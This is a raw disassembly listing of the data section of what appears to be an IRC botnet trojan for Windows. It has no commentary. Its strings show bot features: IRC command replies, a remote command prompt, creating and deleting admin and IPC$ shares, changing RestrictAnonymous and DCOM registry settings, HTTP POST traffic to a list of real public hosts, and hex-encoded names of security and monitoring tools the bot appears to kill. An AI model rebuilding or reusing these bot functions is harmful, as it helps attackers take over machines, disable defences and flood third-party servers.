		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4194C0+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419636:loc_419753o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419636:loc_41974Co
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419636:loc_419745o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419636:loc_41973Eo
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419636:loc_419737o
		align 8
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419636:loc_41971Ao
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419636:loc_419713o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419636:loc_41970Co
		align 8
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419636+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419636:loc_4196E1o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419636:loc_4196DAo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419636:loc_4196D3o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419636:loc_4196C9o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419636+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419636:loc_4196A3o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419636:loc_419699o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419636:loc_41968Fo
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419636:loc_419685o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419636:loc_41967Bo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419636+3Bo
		align 4
		dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h, 234032Dh, 274656Eh, 6D202D03h, 61737365h, 73206567h
		dd 20746E65h, 63637573h, 66737365h, 796C6C75h, 2 dup(0)
		dd 7530h, 0
off_43C358	dd offset dword_43C4F8	; DATA XREF: seg000:loc_419959r
		dd offset dword_43C4E8
		dd offset dword_43C4DC
; ---------------------------------------------------------------------------
		rol	ah, 1
		inc	ebx
		add	ah, al
		les	eax, [ebx+0]
		mov	eax, 0A80043C4h
		les	eax, [ebx+0]
		cwde
		les	eax, [ebx+0]
		add	ah, 43h
		add	[esp+eax*8+43h], ch
		add	[eax-3Ch], ah
		inc	ebx
		add	[esp+eax*8+43h], dl
		add	[eax-3Ch], cl
		inc	ebx
		add	[esp+eax*8], bh
		inc	ebx
		add	[eax], dh
		les	eax, [ebx+0]
		and	al, 0C4h
		inc	ebx
		add	[esp+eax*8], dl
		inc	ebx
		add	[eax], cl
		les	eax, [ebx+0]
		cld
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	ah, dl
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd offset dword_43C3B8
dword_43C3B8	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: seg002:0043C3B4o
		dd 6E757269h, 78652E34h, 65h, 75643364h, 74616470h, 78652E65h
		dd 65h,	65746172h, 6578652Eh, 0
		dd 74617373h, 78652E65h, 65h, 736E6977h, 652E7379h, 6578h
		dd 756E6977h, 652E6470h, 6578h,	4D737953h, 50586E6Fh, 6578652Eh
		dd 0
		dd 61656262h, 2E656C67h, 657865h, 696E6550h, 2E323373h
		dd 657865h, 6B656574h, 2E736469h, 657865h, 4C42534Dh, 2E545341h
		dd 657865h, 7663736Dh, 2E323362h, 657865h, 69737973h, 2E6F666Eh
		dd 657865h, 646E6150h, 45564161h, 6E69676Eh, 78652E65h
		dd 65h,	636E6977h, 32336766h, 6578652Eh, 6B736174h, 2E6E6F6Dh
		dd 657865h, 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 6176616Eh
		dd 32337770h, 6578652Eh, 0
		dd 7776616Eh, 652E3233h, 6578h,	7270617Ah, 78652E6Fh, 65h
		dd 6C62736Dh, 2E747361h, 657865h
dword_43C4DC	dd 7374656Eh, 2E746174h, 657865h ; DATA	XREF: seg002:0043C360o
dword_43C4E8	dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ;	DATA XREF: seg002:0043C35Co
dword_43C4F8	dd 65676572h, 2E746964h, 657865h ; DATA	XREF: seg002:off_43C358o
dword_43C504	dd 20732520h, 29642528h, 0 ; DATA XREF:	seg000:00419A14o
unk_43C510	db  2Dh	; -		; DATA XREF: sub_419AB6:loc_419B43o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43C534	db  2Dh	; -		; DATA XREF: sub_419AB6+86o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43C558	db  2Dh	; -		; DATA XREF: sub_419AB6+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:00419C86o
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
dword_43C668	dd 1D4C0h		; DATA XREF: seg000:0041A696r
off_43C66C	dd offset dword_43C6A4	; DATA XREF: sub_41A044:loc_41A1F9r
					; sub_41A044+1C3r ...
dword_43C670	dd 0			; DATA XREF: sub_41A36A:loc_41A4EBr
		dd offset dword_43C69C
		dd 0
		dd offset dword_43C698
		dd offset dword_43C694
		dd offset dword_43C690
		dd offset dword_43C68C
dword_43C68C	dd 5C3A44h		; DATA XREF: seg002:0043C688o
dword_43C690	dd 2444h		; DATA XREF: seg002:0043C684o
dword_43C694	dd 5C3A43h		; DATA XREF: seg002:0043C680o
dword_43C698	dd 2443h		; DATA XREF: seg002:0043C67Co
dword_43C69C	dd 494D4441h, 244Eh	; DATA XREF: seg002:0043C674o
dword_43C6A4	dd 24435049h, 0		; DATA XREF: seg002:off_43C66Co
dword_43C6AC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044+2E7o
					; sub_41A36A+2DDo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43C6DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044+2D1o
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43C704	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044:loc_41A2AEo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
dword_43C730	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044+263o
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43C754	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044:loc_41A21Eo
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
dword_43C780	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044+1D3o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43C7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044:loc_41A176o
					; sub_41A36A:loc_41A498o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43C7D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044:loc_41A16Fo
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43C810	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044:loc_41A157o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43C844	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044+10Co
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 10h
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A044+EDo
					; sub_41A36A+EDo
		align 4
dword_43C894	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044+91o
					; sub_41A36A+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43C8C4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A044:loc_41A0B7o
		dd 62617369h, 2E64656Ch, 0
dword_43C8E4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A044+6Co
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A044+54o
					; sub_41A36A+54o
		align 4
dword_43C914	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A36A+2C5o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A36A+22Fo
		align 10h
aC_1		db '%c$',0              ; DATA XREF: sub_41A36A+21Eo
dword_43C944	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A36A:loc_41A517o
					; sub_41A36A:loc_41A5E2o
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43C96C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A36A+1A6o
					; sub_41A36A+271o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43C98C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A36A:loc_41A491o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43C9C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A36A:loc_41A479o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 10h
dword_43CA00	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A36A+108o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 10h
dword_43CA40	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A36A:loc_41A3DDo
		dd 6C62616Eh, 2E6465h
dword_43CA5C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A36A+6Co
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 10h
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A6BE+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dword_43CAB8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A89B+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A89B+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A89B+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A89B+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A89B+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A89B+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A89B+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A89B+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A89B+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A89B+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A89B+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A89B+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A89B+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A89B+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A89B+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A89B+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A89B+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A89B+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A89B+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A89B+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A89B+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A89B+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A89B+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A89B+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A89B+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A89B+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A89B+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41AA78+39o
dword_43CCD0	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AC18+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43CDAC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AC18+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AC18:loc_41AD7Co
		align 10h
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_41AC18+EBo
dword_43CDD8	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41AECC+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43CE1C	dd offset loc_412F49+5	; DATA XREF: sub_41AECC:loc_41AF40o
off_43CE20	dd offset dword_4E414C	; DATA XREF: sub_41AECC:loc_41AF39o
dword_43CE24	dd 6C616944h, 70752Dh	; DATA XREF: sub_41AECC+5Eo
dword_43CE2C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41AECC+48o
unk_43CE3C	db  2Dh	; -		; DATA XREF: sub_41AF92:loc_41B14Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConn_0	db ' Failed to connect to HTTP server.',0
		align 4
unk_43CE6C	db  2Dh	; -		; DATA XREF: sub_41AF92:loc_41B148o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43CE98	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41AF92+1A6o
		dd 4C525520h, 2Eh
unk_43CEB4	db  2Dh	; -		; DATA XREF: sub_41AF92:loc_41B12Bo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43CEF0	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41AF92+192o
		dd 64657469h, 2Eh
dword_43CF0C	dd 2A2F2Ah		; DATA XREF: sub_41AF92+3Bo
dword_43CF10	dd 3EDCD02Ch		; DATA XREF: sub_41BAC8+4w sub_41BAD2r ...
		align 10h
dword_43CF20	dd 173Fh		; DATA XREF: sub_41C869+Dr
		dd 9875h, 9873h
off_43CF2C	dd offset sub_41C938	; DATA XREF: sub_41B974r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43CF38	dd 1B3Fh		; DATA XREF: sub_41C9AF+Dr
dword_43CF3C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CE31+2o
					; sub_41CE3A+2o
off_43CF50	dd offset sub_41B9B2	; DATA XREF: sub_41DC49+1Cr
dword_43CF54	dd 2			; DATA XREF: sub_423894+Er
					; sub_4238CD+46r ...
		dd 10h,	0
off_43CF60	dd offset off_43CF60	; DATA XREF: sub_41EB96+Do
					; sub_41EB96+69o ...
off_43CF64	dd offset off_43CF60	; DATA XREF: sub_41EB96:loc_41EC16r
					; sub_41EB96+89w ...
		dd offset dword_43CF78
		dd offset dword_43CF78
dword_43CF70	dd 0FFFFFFFFh		; DATA XREF: sub_41EB96r
					; sub_41ECDA:loc_41ED27w
		dd 0FFFFFFFFh
dword_43CF78	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	seg002:0043CF68o
					; seg002:0043CF6Co
off_43EF80	dd offset off_43CF60	; DATA XREF: sub_41ECDA+15r
					; sub_41ECDA+20w ...
dword_43EF84	dd 1E0h			; DATA XREF: sub_41B3F2+185r
					; sub_41B703:loc_41B73Fr ...
off_43EF88	dd offset word_43EF92	; DATA XREF: sub_41B8DE+23r
					; sub_41B8DE:loc_41B93Fr ...
off_43EF8C	dd offset word_43EF92	; DATA XREF: sub_426E83+18r
		db 2 dup(0)
word_43EF92	dw 20h			; DATA XREF: sub_4250A0+18r
					; seg002:off_43EF88o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43F194	dd 1			; DATA XREF: sub_41B8DE:loc_41B8E6r
					; sub_41B8DE:loc_41B92Ar ...
byte_43F198	db 2Eh			; DATA XREF: sub_420730:loc_420A24r
					; sub_420730+311r ...
		align 4
		dd 1
off_43F1A0	dd offset aNull_0	; DATA XREF: sub_41F8BF:loc_41FC23r
					; sub_41F8BF+457r
					; "(null)"
off_43F1A4	dd offset aNull		; DATA XREF: sub_41F8BF+259r
					; "(null)"
byte_43F1A8	db 1			; DATA XREF: sub_4200C9+E1r
		db 2, 4, 8
		align 10h
dword_43F1B0	dd 3A4h			; DATA XREF: sub_4200C9+2Fo
dword_43F1B4	dd 82798260h, 21h, 0	; DATA XREF: sub_4200C9+11Dr
dword_43F1C0	dd 0DFA6h		; DATA XREF: sub_4200C9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43F2A0	dd 1			; DATA XREF: sub_4200C9+3Co
					; sub_4205FF+Co
dword_43F2A4	dd 16h			; DATA XREF: sub_4205FF:loc_420634r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43F408	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4205FF+19o
					; sub_420730:loc_420C97o
dword_43F410	dd 5Dh,	0		; DATA XREF: sub_420730:loc_420B87o
dword_43F418	dd 14h			; DATA XREF: sub_421844+2o
off_43F41C	dd offset aExp		; DATA XREF: sub_421844:loc_421861r
					; "exp"
		dd 1Dh,	428878h, 1Ah, 42D938h, 1Bh, 428870h, 1Fh, 428868h
		dd 13h,	428860h, 21h, 428858h, 0Eh, 428850h, 0Dh, 428848h
		dd 0Fh,	428840h, 10h, 428838h, 5, 428830h, 1Eh,	42882Ch
		dd 12h,	428828h, 20h, 428824h, 0Ch, 42881Ch, 0Bh, 428814h
		dd 15h,	42880Ch, 1Ch, 428804h, 19h, 4287FCh, 11h, 4287F4h
		dd 18h,	4287ECh, 16h, 4287E4h, 17h, 4287DCh, 22h, 4287D8h
		dd 23h,	4287D4h, 24h, 4287D0h
dbl_43F4F0	dq 1.797693134862316e308 ; DATA	XREF: sub_42157F+B7r
					; sub_42157F:loc_421666r ...
		dd 0
		dd 0FFF80000h
dbl_43F500	dq 1.797693134862316e308 ; DATA	XREF: sub_42157F+92r
					; sub_42157F:loc_42163Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43F518	dt 2.3562723457267347066e313 ; DATA XREF: sub_421A2C+Dr
					; sub_421A2C+1Fr
		align 4
tbyte_43F524	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421A2C+31r
		align 10h
off_43F530	dd offset sub_421EC0	; DATA XREF: sub_41C950+Fw
					; sub_41F8BF+3AAr
off_43F534	dd offset sub_421B55	; DATA XREF: sub_41C950+5w
					; sub_41F8BF+3E2r
off_43F538	dd offset sub_421BBB	; DATA XREF: sub_41C950+14w
					; sub_420730+430r
off_43F53C	dd offset sub_421AFB	; DATA XREF: sub_41C950+1Ew
					; sub_41F8BF+3CBr
off_43F540	dd offset sub_421BA3	; DATA XREF: sub_41C950+28w
off_43F544	dd offset sub_421EC0	; DATA XREF: sub_41C950+32w
		dd offset sub_42495C
		align 10h
		dd offset sub_42277C
off_43F554	dd offset sub_42277C	; DATA XREF: sub_4227D2+29r
off_43F558	dd offset dword_4DE300	; DATA XREF: sub_42294B+55o
		dd 0
		dd offset dword_4DE300
		dd 101h
dword_43F568	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42294B+72o
		dd 1000h, 0
dword_43F578	dd 3 dup(0)		; DATA XREF: sub_41D3DC+2o
					; sub_41F7AA+50o ...
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43F598	dd 3 dup(0)		; DATA XREF: sub_41F7AA+58o
					; sub_420666:loc_420684o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43F5C8	dd 84h dup(0)		; DATA XREF: sub_42294B+9Bo
dword_43F7D8	dd 0C0000005h		; DATA XREF: sub_42294B+69o
					; sub_423133+Ar ...
dword_43F7DC	dd 0Bh			; DATA XREF: sub_425CD2+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43F850	dd 3			; DATA XREF: sub_422FF2+58r
					; sub_425BA5+C8r
dword_43F854	dd 7			; DATA XREF: sub_422FF2+5Er
					; sub_425BA5+CDr
dword_43F858	dd 0Ah			; DATA XREF: sub_423133+4r
					; sub_425CD2+4r
dword_43F85C	dd 8Ch			; DATA XREF: sub_422FF2+82r
					; sub_422FF2+8Fw ...
dword_43F860	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F263:loc_41F2E4o
					; sub_41F7AA:loc_41F867o
dword_43F868	dd 2			; DATA XREF: sub_4238CD+Eo
					; sub_4238CD+28r
off_43F86C	dd offset aR6002FloatingP ; DATA XREF: sub_4238CD+FCr
					; sub_4238CD+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 428B94h, 9, 428B68h, 0Ah,	428B44h, 10h, 428B18h
		dd 11h,	428AE8h, 12h, 428AC4h, 13h, 428A98h, 18h, 428A60h
		dd 19h,	428A38h, 1Ah, 428A00h, 1Bh, 4289C8h, 1Ch, 4289A0h
		dd 78h,	428990h, 79h, 428980h, 7Ah, 428970h, 0FCh, 4364CCh
		dd 0FFh, 428960h
dword_43F8F8	dd 2 dup(0)		; DATA XREF: sub_4238CD+1Bo
dword_43F900	dd 2694h		; DATA XREF: sub_4211E1+3r
					; sub_421234+46r
		align 8
dword_43F908	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42473Co
dword_43F920	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424752o
dword_43F938	dd 7080h		; DATA XREF: seg000:004228FFr
					; sub_424A3C+5Ew ...
dword_43F93C	dd 1			; DATA XREF: seg000:00422921r
					; sub_424A3C+8Bw ...
dword_43F940	dd 0FFFFF1F0h		; DATA XREF: seg000:loc_42293Br
					; sub_424A3C+94w ...
dword_43F944	dd 545350h, 0Fh	dup(0)	; DATA XREF: seg002:off_43F9C4o
dword_43F984	dd 544450h, 0Fh	dup(0)	; DATA XREF: seg002:off_43F9C8o
off_43F9C4	dd offset dword_43F944	; DATA XREF: sub_424A3C+BAr
					; sub_424A3C+D9r ...
off_43F9C8	dd offset dword_43F984	; DATA XREF: sub_424A3C+F4r
					; sub_424A3C+11Br ...
		align 10h
dword_43F9D0	dd 0FFFFFFFFh		; DATA XREF: sub_424A3C+1Dw
					; sub_424C9A+1Er ...
dword_43F9D4	dd 0			; DATA XREF: sub_424C9A:loc_424DCEr
					; sub_424E46+BFw
dword_43F9D8	dd 0			; DATA XREF: sub_424C9A+192r
					; sub_424E46+E0w
		align 10h
dword_43F9E0	dd 0FFFFFFFFh		; DATA XREF: sub_424A3C+17w
					; sub_424C9A+26r ...
dword_43F9E4	dd 0			; DATA XREF: sub_424C9A+13Ar
					; sub_424E46+EAw ...
dword_43F9E8	dd 0			; DATA XREF: sub_424C9A+1A1r
					; sub_424E46+23r ...
dword_43F9EC	dd 0FFFFFFFFh		; DATA XREF: sub_424E46+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43FA1C	dd 16Dh			; DATA XREF: seg000:004228B3r
					; sub_424E46+2Er ...
dword_43FA20	dd 0FFFFFFFFh		; DATA XREF: sub_424E46:loc_424ED2r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43FA58	dd 2 dup(0)		; DATA XREF: sub_42602A+7o
		dd 4002A000h, 2	dup(0)
